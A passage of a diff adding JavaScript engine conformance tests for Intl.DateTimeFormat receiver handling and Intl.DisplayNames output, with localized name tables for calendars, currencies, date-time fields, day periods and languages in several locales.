+ // Object values.
+ ...[{}, [], /(?:)/, function(){}, new Proxy({}, {})],
+
+ // Intl objects.
+ ...[].concat(...intlConstructors.filter(ctor => ctor !== C).map(intlObjects)),
+
+ // Object inheriting from an Intl constructor prototype.
+ ...intlConstructors.map(ctor => Object.create(ctor.prototype)),
+ ];
+}
+
+const intlFallbackSymbol = Object.getOwnPropertySymbols(Intl.DateTimeFormat.call(Object.create(Intl.DateTimeFormat.prototype)))[0];
+
+// Test Intl.DateTimeFormat.prototype methods.
+for (let {function: dateTimeFormatFunction, unwrap} of dateTimeFormatFunctions) {
+ // Test a TypeError is thrown when the this-value isn't an initialized
+ // Intl.DateTimeFormat instance.
+ for (let thisValue of thisValues(Intl.DateTimeFormat)) {
+ assertThrowsInstanceOf(() => dateTimeFormatFunction.call(thisValue), TypeError);
+ }
+
+ // And test no error is thrown for initialized Intl.DateTimeFormat instances.
+ for (let thisValue of intlObjects(Intl.DateTimeFormat)) {
+ dateTimeFormatFunction.call(thisValue);
+ }
+
+ // Manually add [[FallbackSymbol]] to objects and then repeat the tests from above.
+ for (let thisValue of thisValues(Intl.DateTimeFormat)) {
+ assertThrowsInstanceOf(() => dateTimeFormatFunction.call({
+ __proto__: Intl.DateTimeFormat.prototype,
+ [intlFallbackSymbol]: thisValue,
+ }), TypeError);
+ }
+
+ for (let thisValue of intlObjects(Intl.DateTimeFormat)) {
+ let obj = {
+ __proto__: Intl.DateTimeFormat.prototype,
+ [intlFallbackSymbol]: thisValue,
+ };
+ if (unwrap) {
+ dateTimeFormatFunction.call(obj);
+ } else {
+ assertThrowsInstanceOf(() => dateTimeFormatFunction.call(obj), TypeError);
+ }
+ }
+
+ // Ensure [[FallbackSymbol]] isn't retrieved for Intl.DateTimeFormat instances.
+ for (let thisValue of intlObjects(Intl.DateTimeFormat)) {
+ Object.defineProperty(thisValue, intlFallbackSymbol, {
+ get() { assertEq(false, true); }
+ });
+ dateTimeFormatFunction.call(thisValue);
+ }
+
+ // Ensure [[FallbackSymbol]] is only retrieved for objects inheriting from Intl.DateTimeFormat.prototype.
+ for (let thisValue of thisValues(Intl.DateTimeFormat).filter(IsObject)) {
+ if (Intl.DateTimeFormat.prototype.isPrototypeOf(thisValue))
+ continue;
+ Object.defineProperty(thisValue, intlFallbackSymbol, {
+ get() { assertEq(false, true); }
+ });
+ assertThrowsInstanceOf(() => dateTimeFormatFunction.call(thisValue), TypeError);
+ }
+
+ // Repeat the test from above, but also change Intl.DateTimeFormat[@@hasInstance]
+ // so it always returns |true|.
+ for (let thisValue of thisValues(Intl.DateTimeFormat).filter(IsObject)) {
+ let isPrototypeOf = Intl.DateTimeFormat.prototype.isPrototypeOf(thisValue);
+ let hasInstanceCalled = false, symbolGetterCalled = false;
+ Object.defineProperty(Intl.DateTimeFormat, Symbol.hasInstance, {
+ value() {
+ assertEq(hasInstanceCalled, false);
+ hasInstanceCalled = true;
+ return true;
+ }, configurable: true
+ });
+ Object.defineProperty(thisValue, intlFallbackSymbol, {
+ get() {
+ assertEq(symbolGetterCalled, false);
+ symbolGetterCalled = true;
+ return null;
+ }, configurable: true
+ });
+
+ assertThrowsInstanceOf(() => dateTimeFormatFunction.call(thisValue), TypeError);
+
+ delete Intl.DateTimeFormat[Symbol.hasInstance];
+
+ assertEq(hasInstanceCalled, false);
+ assertEq(symbolGetterCalled, unwrap && isPrototypeOf);
+ }
+
+ // Test with primitive values.
+ for (let thisValue of thisValues(Intl.DateTimeFormat).filter(IsPrimitive)) {
+ // Ensure @@hasInstance is not called.
+ Object.defineProperty(Intl.DateTimeFormat, Symbol.hasInstance, {
+ value() { assertEq(true, false); }, configurable: true
+ });
+ let isUndefinedOrNull = thisValue === undefined || thisValue === null;
+ let symbolHolder;
+ if (!isUndefinedOrNull) {
+ // Ensure the fallback symbol isn't retrieved from the primitive wrapper prototype.
+ symbolHolder = Object.getPrototypeOf(thisValue);
+ Object.defineProperty(symbolHolder, intlFallbackSymbol, {
+ get() { assertEq(true, false); }, configurable: true
+ });
+ }
+
+ assertThrowsInstanceOf(() => dateTimeFormatFunction.call(thisValue), TypeError);
+
+ delete Intl.DateTimeFormat[Symbol.hasInstance];
+ if (!isUndefinedOrNull)
+ delete symbolHolder[intlFallbackSymbol];
+ }
+}
+
+// Test format() returns the correct result for objects initialized as Intl.DateTimeFormat instances.
+{
+ // An actual Intl.DateTimeFormat instance.
+ let dateTimeFormat = new Intl.DateTimeFormat();
+
+ // An object initialized as a DateTimeFormat instance.
+ let thisValue = Object.create(Intl.DateTimeFormat.prototype);
+ Intl.DateTimeFormat.call(thisValue);
+
+ // Object with [[FallbackSymbol]] set to DateTimeFormat instance.
+ let fakeObj = {
+ __proto__: Intl.DateTimeFormat.prototype,
+ [intlFallbackSymbol]: dateTimeFormat,
+ };
+
+ for (let number of [0, Date.now(), -Date.now()]) {
+ let expected = dateTimeFormat.format(number);
+ assertEq(thisValue.format(number), expected);
+ assertEq(thisValue[intlFallbackSymbol].format(number), expected);
+ assertEq(fakeObj.format(number), expected);
+ }
+}
+
+// Ensure formatToParts() doesn't use the fallback semantics.
+{
+ let formatToParts = Intl.DateTimeFormat.prototype.formatToParts;
+
+ // An object initialized as a DateTimeFormat instance.
+ let thisValue = Object.create(Intl.DateTimeFormat.prototype);
+ Intl.DateTimeFormat.call(thisValue);
+ assertThrowsInstanceOf(() => formatToParts.call(thisValue), TypeError);
+
+ // Object with [[FallbackSymbol]] set to DateTimeFormat instance.
+ let fakeObj = {
+ __proto__: Intl.DateTimeFormat.prototype,
+ [intlFallbackSymbol]: new Intl.DateTimeFormat(),
+ };
+ assertThrowsInstanceOf(() => formatToParts.call(fakeObj), TypeError);
+}
+
+// Test resolvedOptions() returns the same results.
+{
+ // An actual Intl.DateTimeFormat instance.
+ let dateTimeFormat = new Intl.DateTimeFormat();
+
+ // An object initialized as a DateTimeFormat instance.
+ let thisValue = Object.create(Intl.DateTimeFormat.prototype);
+ Intl.DateTimeFormat.call(thisValue);
+
+ // Object with [[FallbackSymbol]] set to DateTimeFormat instance.
+ let fakeObj = {
+ __proto__: Intl.DateTimeFormat.prototype,
+ [intlFallbackSymbol]: dateTimeFormat,
+ };
+
+ function assertEqOptions(actual, expected) {
+ actual = Object.entries(actual);
+ expected = Object.entries(expected);
+
+ assertEq(actual.length, expected.length, "options count mismatch");
+ for (var i = 0; i < expected.length; i++) {
+ assertEq(actual[i][0], expected[i][0], "key mismatch at " + i);
+ assertEq(actual[i][1], expected[i][1], "value mismatch at " + i);
+ }
+ }
+
+ let expected = dateTimeFormat.resolvedOptions();
+ assertEqOptions(thisValue.resolvedOptions(), expected);
+ assertEqOptions(thisValue[intlFallbackSymbol].resolvedOptions(), expected);
+ assertEqOptions(fakeObj.resolvedOptions(), expected);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/abbreviated.js b/js/src/tests/non262/Intl/DisplayNames/abbreviated.js
new file mode 100644
index 0000000000..4203ffcbac
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/abbreviated.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||!this.hasOwnProperty('addIntlExtras'))
+
+addMozIntlDisplayNames(this);
+
+const tests = {
+ "en": {
+ long: ["Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday"],
+ abbreviated: ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"],
+ short: ["Mo", "Tu", "We", "Th", "Fr", "Sa", "Su"],
+ narrow: ["M", "T", "W", "T", "F", "S", "S"],
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ for (let [style, weekdays] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "weekday", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.style, style);
+
+ for (let [day, expected] of weekdays.entries()) {
+ assertEq(dn.of(day + 1), expected);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/alias-and-parent-locales.js b/js/src/tests/non262/Intl/DisplayNames/alias-and-parent-locales.js
new file mode 100644
index 0000000000..d60a1593d4
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/alias-and-parent-locales.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+// Ensure alias and parent locales are correctly picked up when calling into ICU.
+
+// "zh-HK" is an alias to "zh-Hant-HK", so display names should default to
+// traditional instead of simplified characters.
+{
+ const zh_Hant = new Intl.DisplayNames("zh-Hant", {type: "region"});
+ const zh_Hans = new Intl.DisplayNames("zh-Hans", {type: "region"});
+ const zh_HK = new Intl.DisplayNames("zh-HK", {type: "region"});
+
+ // We assume traditional and simplified have different outputs.
+ assertEq(zh_Hant.of("US") === zh_Hans.of("US"), false);
+
+ // "zh-HK" should use traditional characters.
+ assertEq(zh_HK.of("US"), zh_Hant.of("US"));
+}
+
+// The parent locale of "en-AU" is "en-001" and not "en" (because "en" actually means "en-US").
+{
+ const en = new Intl.DisplayNames("en", {type: "language"});
+ const en_001 = new Intl.DisplayNames("en-001", {type: "language"});
+ const en_AU = new Intl.DisplayNames("en-AU", {type: "language"});
+
+ // We assume "en" and "en-001" have different outputs.
+ assertEq(en.of("nds-NL") === en_001.of("nds-NL"), false);
+
+ // "en-AU" should have the same output as "en-001".
+ assertEq(en_AU.of("nds-NL"), en_001.of("nds-NL"));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/browser.js b/js/src/tests/non262/Intl/DisplayNames/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/browser.js
diff --git a/js/src/tests/non262/Intl/DisplayNames/calendar.js b/js/src/tests/non262/Intl/DisplayNames/calendar.js
new file mode 100644
index 0000000000..0700ee2888
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/calendar.js
@@ -0,0 +1,123 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+const tests = {
+ "en": {
+ long: {
+ "gregory": "Gregorian Calendar",
+ "iso8601": "ISO-8601 Calendar",
+ "japanese": "Japanese Calendar",
+ "islamic-civil": "Islamic Calendar (tabular, civil epoch)",
+ "islamicc": "Islamic Calendar (tabular, civil epoch)",
+ "ethioaa": "Ethiopic Amete Alem Calendar",
+ "ethiopic-amete-alem": "Ethiopic Amete Alem Calendar",
+ },
+ short: {},
+ narrow: {},
+ },
+ "de": {
+ long: {
+ "gregory": "Gregorianischer Kalender",
+ "iso8601": "ISO-8601-Kalender",
+ "japanese": "Japanischer Kalender",
+ "islamic-civil": "Bürgerlicher islamischer Kalender (tabellarisch)",
+ "islamicc": "Bürgerlicher islamischer Kalender (tabellarisch)",
+ "ethioaa": "Äthiopischer Amätä-Aläm-Kalender",
+ "ethiopic-amete-alem": "Äthiopischer Amätä-Aläm-Kalender",
+ },
+ short: {},
+ narrow: {},
+ },
+ "fr": {
+ long: {
+ "gregory": "calendrier grégorien",
+ "iso8601": "calendrier ISO 8601",
+ "japanese": "calendrier japonais",
+ "islamic-civil": "calendrier musulman (tabulaire, époque civile)",
+ "islamicc": "calendrier musulman (tabulaire, époque civile)",
+ "ethioaa": "calendrier éthiopien Amete Alem",
+ "ethiopic-amete-alem": "calendrier éthiopien Amete Alem",
+ },
+ short: {},
+ narrow: {},
+ },
+ "zh": {
+ long: {
+ "gregory": "公历",
+ "iso8601": "国际标准历法",
+ "japanese": "和历",
+ "islamic-civil": "伊斯兰希吉来日历",
+ "islamicc": "伊斯兰希吉来日历",
+ "ethioaa": "埃塞俄比亚阿米特阿莱姆日历",
+ "ethiopic-amete-alem": "埃塞俄比亚阿米特阿莱姆日历",
+ },
+ short: {},
+ narrow: {},
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "calendar", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "calendar");
+ assertEq(resolved.fallback, "code");
+
+ let inheritedTests = {...localeTests.long, ...localeTests.short, ...localeTests.narrow};
+ for (let [calendar, expected] of Object.entries({...inheritedTests, ...styleTests})) {
+ assertEq(dn.of(calendar), expected);
+
+ // Also works with objects.
+ assertEq(dn.of(Object(calendar)), expected);
+ }
+ }
+}
+
+{
+ let dn = new Intl.DisplayNames("en", {type: "calendar"});
+
+ // Performs ToString on the input and then validates the stringified result.
+ assertThrowsInstanceOf(() => dn.of(), RangeError);
+ assertThrowsInstanceOf(() => dn.of(undefined), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Symbol()), TypeError);
+ assertThrowsInstanceOf(() => dn.of(0), RangeError);
+
+ // Throws an error if |code| isn't a well-formed calendar type.
+ assertThrowsInstanceOf(() => dn.of("gregorian"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("grëgory"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("grēgory"), RangeError);
+}
+
+// Test fallback behaviour.
+{
+ let dn1 = new Intl.DisplayNames("en", {type: "calendar"});
+ let dn2 = new Intl.DisplayNames("en", {type: "calendar", fallback: "code"});
+ let dn3 = new Intl.DisplayNames("en", {type: "calendar", fallback: "none"});
+
+ assertEq(dn1.resolvedOptions().fallback, "code");
+ assertEq(dn2.resolvedOptions().fallback, "code");
+ assertEq(dn3.resolvedOptions().fallback, "none");
+
+ // "invalid" isn't a known calendar type.
+ assertEq(dn1.of("invalid"), "invalid");
+ assertEq(dn2.of("invalid"), "invalid");
+ assertEq(dn3.of("invalid"), undefined);
+
+ // The returned fallback is in canonical case.
+ assertEq(dn1.of("INVALID"), "invalid");
+ assertEq(dn2.of("INVALID"), "invalid");
+ assertEq(dn3.of("INVALID"), undefined);
+}
+
+// Test when case isn't canonical.
+{
+ let dn = new Intl.DisplayNames("en", {type: "calendar", fallback: "none"});
+
+ assertEq(dn.of("gregory"), "Gregorian Calendar");
+ assertEq(dn.of("GREGORY"), "Gregorian Calendar");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/currency.js b/js/src/tests/non262/Intl/DisplayNames/currency.js
new file mode 100644
index 0000000000..1571249106
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/currency.js
@@ -0,0 +1,150 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+const tests = {
+ "en": {
+ long: {
+ "USD": "US Dollar",
+ "EUR": "Euro",
+ "FRF": "French Franc",
+ "CNY": "Chinese Yuan",
+ "XAU": "Gold",
+ },
+ short: {
+ "USD": "$",
+ "EUR": "€",
+ "FRF": "FRF",
+ "CNY": "CN¥",
+ "XAU": "XAU",
+ },
+ narrow: {
+ "USD": "USD",
+ "EUR": "EUR",
+ "CNY": "CNY",
+ },
+ },
+ "de": {
+ long: {
+ "USD": "US-Dollar",
+ "EUR": "Euro",
+ "FRF": "Französischer Franc",
+ "CNY": "Renminbi Yuan",
+ "XAU": "Unze Gold",
+ },
+ short: {
+ "USD": "$",
+ "EUR": "€",
+ "FRF": "FRF",
+ "CNY": "CN¥",
+ "XAU": "XAU",
+ },
+ narrow: {
+ "CNY": "¥",
+ },
+ },
+ "fr": {
+ long: {
+ "USD": "dollar des États-Unis",
+ "EUR": "euro",
+ "FRF": "franc français",
+ "CNY": "yuan renminbi chinois",
+ "XAU": "or",
+ },
+ short: {
+ "USD": "$US",
+ "EUR": "€",
+ "FRF": "F",
+ "CNY": "CNY",
+ "XAU": "XAU",
+ },
+ narrow: {
+ "USD": "$",
+ "CNY": "¥",
+ },
+ },
+ "zh": {
+ long: {
+ "USD": "美元",
+ "EUR": "欧元",
+ "FRF": "法国法郎",
+ "CNY": "人民币",
+ "XAU": "黄金",
+ },
+ short: {
+ "USD": "US$",
+ "EUR": "€",
+ "FRF": "FRF",
+ "CNY": "¥",
+ "XAU": "XAU",
+ },
+ narrow: {
+ "USD": "$",
+ },
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "currency", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "currency");
+ assertEq(resolved.fallback, "code");
+
+ let inheritedTests = {...localeTests.long, ...localeTests.short, ...localeTests.narrow};
+ for (let [currency, expected] of Object.entries({...inheritedTests, ...styleTests})) {
+ assertEq(dn.of(currency), expected);
+
+ // Also works with objects.
+ assertEq(dn.of(Object(currency)), expected);
+ }
+ }
+}
+
+{
+ let dn = new Intl.DisplayNames("en", {type: "currency"});
+
+ // Performs ToString on the input and then validates the stringified result.
+ assertThrowsInstanceOf(() => dn.of(), RangeError);
+ assertThrowsInstanceOf(() => dn.of(null), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Symbol()), TypeError);
+ assertThrowsInstanceOf(() => dn.of(0), RangeError);
+
+ // Throws an error if |code| isn't a well-formed currency code.
+ assertThrowsInstanceOf(() => dn.of("us"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("euro"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("€uro"), RangeError);
+}
+
+// Test fallback behaviour.
+{
+ let dn1 = new Intl.DisplayNames("en", {type: "currency"});
+ let dn2 = new Intl.DisplayNames("en", {type: "currency", fallback: "code"});
+ let dn3 = new Intl.DisplayNames("en", {type: "currency", fallback: "none"});
+
+ assertEq(dn1.resolvedOptions().fallback, "code");
+ assertEq(dn2.resolvedOptions().fallback, "code");
+ assertEq(dn3.resolvedOptions().fallback, "none");
+
+ // "AAA" is not a registered currency code.
+ assertEq(dn1.of("AAA"), "AAA");
+ assertEq(dn2.of("AAA"), "AAA");
+ assertEq(dn3.of("AAA"), undefined);
+
+ // The returned fallback is in canonical case.
+ assertEq(dn1.of("aaa"), "AAA");
+ assertEq(dn2.of("aaa"), "AAA");
+ assertEq(dn3.of("aaa"), undefined);
+}
+
+// Test when case isn't canonical.
+{
+ let dn = new Intl.DisplayNames("en", {type: "currency", fallback: "none"});
+
+ assertEq(dn.of("USD"), "US Dollar");
+ assertEq(dn.of("usd"), "US Dollar");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/dateTimeField.js b/js/src/tests/non262/Intl/DisplayNames/dateTimeField.js
new file mode 100644
index 0000000000..94bdf53899
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/dateTimeField.js
@@ -0,0 +1,176 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+const tests = {
+ "en": {
+ long: {
+ "era": "era",
+ "year": "year",
+ "quarter": "quarter",
+ "month": "month",
+ "weekOfYear": "week",
+ "weekday": "day of the week",
+ "day": "day",
+ "dayPeriod": "AM/PM",
+ "hour": "hour",
+ "minute": "minute",
+ "second": "second",
+ "timeZoneName": "time zone",
+ },
+ short: {
+ "year": "yr.",
+ "quarter": "qtr.",
+ "month": "mo.",
+ "weekOfYear": "wk.",
+ "weekday": "day of wk.",
+ "dayPeriod": "AM/PM",
+ "hour": "hr.",
+ "minute": "min.",
+ "second": "sec.",
+ "timeZoneName": "zone",
+ },
+ narrow: {
+ "year": "yr",
+ "quarter": "qtr",
+ "month": "mo",
+ "weekOfYear": "wk",
+ "hour": "hr",
+ "minute": "min",
+ "second": "sec",
+ },
+ },
+ "de": {
+ long: {
+ "era": "Epoche",
+ "year": "Jahr",
+ "quarter": "Quartal",
+ "month": "Monat",
+ "weekOfYear": "Woche",
+ "weekday": "Wochentag",
+ "day": "Tag",
+ "dayPeriod": "Tageshälfte",
+ "hour": "Stunde",
+ "minute": "Minute",
+ "second": "Sekunde",
+ "timeZoneName": "Zeitzone",
+ },
+ short: {
+ "era": "Epoche",
+ "year": "Jahr",
+ "quarter": "Quart.",
+ "month": "Monat",
+ "weekOfYear": "Woche",
+ "weekday": "Wochentag",
+ "day": "Tag",
+ "dayPeriod": "Tageshälfte",
+ "hour": "Std.",
+ "minute": "Min.",
+ "second": "Sek.",
+ "timeZoneName": "Zeitzone",
+ },
+ narrow: {
+ "era": "E",
+ "year": "J",
+ "quarter": "Q",
+ "month": "M",
+ "weekOfYear": "W",
+ "weekday": "Wochent.",
+ "dayPeriod": "Tagesh.",
+ "timeZoneName": "Zeitz.",
+ },
+ },
+ "fr": {
+ long: {
+ "era": "ère",
+ "year": "année",
+ "quarter": "trimestre",
+ "month": "mois",
+ "weekOfYear": "semaine",
+ "weekday": "jour de la semaine",
+ "day": "jour",
+ "dayPeriod": "cadran",
+ "hour": "heure",
+ "minute": "minute",
+ "second": "seconde",
+ "timeZoneName": "fuseau horaire",
+ },
+ short: {
+ "year": "an",
+ "quarter": "trim.",
+ "month": "m.",
+ "weekOfYear": "sem.",
+ "weekday": "j (sem.)",
+ "day": "j",
+ "hour": "h",
+ "minute": "min",
+ "second": "s",
+ },
+ narrow: {
+ "year": "a",
+ },
+ },
+ "zh": {
+ long: {
+ "era": "纪元",
+ "year": "年",
+ "quarter": "季度",
+ "month": "月",
+ "weekOfYear": "周",
+ "weekday": "工作日",
+ "day": "日",
+ "dayPeriod": "上午/下午",
+ "hour": "小时",
+ "minute": "分钟",
+ "second": "秒",
+ "timeZoneName": "时区",
+ },
+ short: {
+ "quarter": "季",
+ "minute": "分",
+ },
+ narrow: {},
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "dateTimeField", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "dateTimeField");
+ assertEq(resolved.fallback, "code");
+
+ let inheritedTests = {...localeTests.long, ...localeTests.short, ...localeTests.narrow};
+ for (let [field, expected] of Object.entries({...inheritedTests, ...styleTests})) {
+ assertEq(dn.of(field), expected);
+
+ // Also works with objects.
+ assertEq(dn.of(Object(field)), expected);
+ }
+ }
+}
+
+{
+ let dn = new Intl.DisplayNames("en", {type: "dateTimeField"});
+
+ // Performs ToString on the input and then validates the stringified result.
+ assertThrowsInstanceOf(() => dn.of(), RangeError);
+ assertThrowsInstanceOf(() => dn.of(null), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Symbol()), TypeError);
+ assertThrowsInstanceOf(() => dn.of(0), RangeError);
+ assertThrowsInstanceOf(() => dn.of(1), RangeError);
+
+ // Throws an error if not one of ["era", "year", "quarter", "month", "weekOfYear", "weekday",
+ // "day", "dayPeriod", "hour", "minute", "second", "timeZoneName"].
+ assertThrowsInstanceOf(() => dn.of(""), RangeError);
+ assertThrowsInstanceOf(() => dn.of("ERA"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("Era"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("era\0"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("dayperiod"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("day-period"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("timezoneName"), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/dayPeriod.js b/js/src/tests/non262/Intl/DisplayNames/dayPeriod.js
new file mode 100644
index 0000000000..cfeafdf5ee
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/dayPeriod.js
@@ -0,0 +1,80 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||!this.hasOwnProperty('addIntlExtras'))
+
+addMozIntlDisplayNames(this);
+
+const tests = {
+ "en": {
+ long: {
+ "am": "AM",
+ "pm": "PM",
+ },
+ short: {},
+ narrow: {},
+ },
+ "de": {
+ long: {
+ "am": "AM",
+ "pm": "PM",
+ },
+ short: {},
+ narrow: {},
+ },
+ "fr": {
+ long: {
+ "am": "AM",
+ "pm": "PM",
+ },
+ short: {},
+ narrow: {},
+ },
+ "zh": {
+ long: {
+ "am": "上午",
+ "pm": "下午",
+ },
+ short: {},
+ narrow: {},
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ let defaultCalendar = new Intl.DateTimeFormat(locale).resolvedOptions().calendar;
+
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "dayPeriod", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.calendar, defaultCalendar);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "dayPeriod");
+ assertEq(resolved.fallback, "code");
+
+ let inheritedTests = {...localeTests.long, ...localeTests.short, ...localeTests.narrow};
+ for (let [dayPeriod, expected] of Object.entries({...inheritedTests, ...styleTests})) {
+ assertEq(dn.of(dayPeriod), expected);
+
+ // Also works with objects.
+ assertEq(dn.of(Object(dayPeriod)), expected);
+ }
+ }
+}
+
+{
+ let dn = new Intl.DisplayNames("en", {type: "dayPeriod"});
+
+ // Performs ToString on the input and then validates the stringified result.
+ assertThrowsInstanceOf(() => dn.of(), RangeError);
+ assertThrowsInstanceOf(() => dn.of(null), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Symbol()), TypeError);
+ assertThrowsInstanceOf(() => dn.of(0), RangeError);
+ assertThrowsInstanceOf(() => dn.of(1), RangeError);
+
+ // Throws an error if not one of ["am", "pm"].
+ assertThrowsInstanceOf(() => dn.of(""), RangeError);
+ assertThrowsInstanceOf(() => dn.of("AM"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("PM"), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/language-dialect.js b/js/src/tests/non262/Intl/DisplayNames/language-dialect.js
new file mode 100644
index 0000000000..c2999bd673
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/language-dialect.js
@@ -0,0 +1,104 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+const tests = {
+ "en": {
+ long: {
+ "de": "German",
+ "de-AT": "Austrian German",
+ "de-1996": "German (German orthography of 1996)",
+ "en": "English",
+ "en-Hant-GB": "British English (Traditional)",
+ "en-Hans-US": "American English (Simplified)",
+ "fr": "French",
+ "nl-BE": "Flemish",
+ "cr-Cans": "Cree (Unified Canadian Aboriginal Syllabics)",
+ },
+ short: {
+ "en-Hant-GB": "UK English (Traditional)",
+ "en-Hans-US": "US English (Simplified)",
+ "cr-Cans": "Cree (UCAS)",
+ },
+ narrow: {},
+ },
+ "de": {
+ long: {
+ "de": "Deutsch",
+ "de-AT": "Österreichisches Deutsch",
+ "de-1996": "Deutsch (Neue deutsche Rechtschreibung)",
+ "en": "Englisch",
+ "en-Hant-GB": "Englisch (Traditionell, Vereinigtes Königreich)",
+ "en-Hans-US": "Englisch (Vereinfacht, Vereinigte Staaten)",
+ "fr": "Französisch",
+ "nl-BE": "Flämisch",
+ },
+ short: {
+ "en-Hant-GB": "Englisch (GB) (Traditionell)",
+ "en-Hans-US": "Englisch (USA) (Vereinfacht)",
+ },
+ narrow: {},
+ },
+ "fr": {
+ long: {
+ "de": "allemand",
+ "de-AT": "allemand autrichien",
+ "de-1996": "allemand (orthographe allemande de 1996)",
+ "en": "anglais",
+ "en-Hant-GB": "anglais britannique (traditionnel)",
+ "en-Hans-US": "anglais américain (simplifié)",
+ "fr": "français",
+ "nl-BE": "flamand",
+ },
+ short: {
+ "en-Hant-GB": "anglais britannique (traditionnel)",
+ "en-Hans-US": "anglais américain (simplifié)",
+ },
+ narrow: {},
+ },
+ "zh": {
+ long: {
+ "zh": "中文",
+ "zh-Hant": "繁体中文",
+ "zh-Hant-CN": "繁体中文(中国)",
+ "zh-Hans-HK": "简体中文(中国香港特别行政区)",
+ },
+ short: {
+ "zh-Hans-HK": "简体中文(香港)"
+ },
+ narrow: {},
+ },
+ "ar": {
+ long: {
+ "ar": "العربية",
+ "ar-SA": "العربية (المملكة العربية السعودية)",
+ "zh-MO": "الصينية (منطقة ماكاو الإدارية الخاصة)",
+ },
+ short: {
+ "zh-MO": "الصينية (مكاو)",
+ },
+ narrow: {},
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "language", languageDisplay: "dialect", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "language");
+ assertEq(resolved.languageDisplay, "dialect");
+ assertEq(resolved.fallback, "code");
+
+ let inheritedTests = {...localeTests.long, ...localeTests.short, ...localeTests.narrow};
+ for (let [language, expected] of Object.entries({...inheritedTests, ...styleTests})) {
+ assertEq(dn.of(language), expected);
+
+ // Also works with objects.
+ assertEq(dn.of(Object(language)), expected);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/language.js b/js/src/tests/non262/Intl/DisplayNames/language.js
new file mode 100644
index 0000000000..48fb72056e
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/language.js
@@ -0,0 +1,205 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+const tests = {
+ "en": {
+ long: {
+ "de": "German",
+ "de-AT": "German (Austria)",
+ "de-1996": "German (German orthography of 1996)",
+ "en": "English",
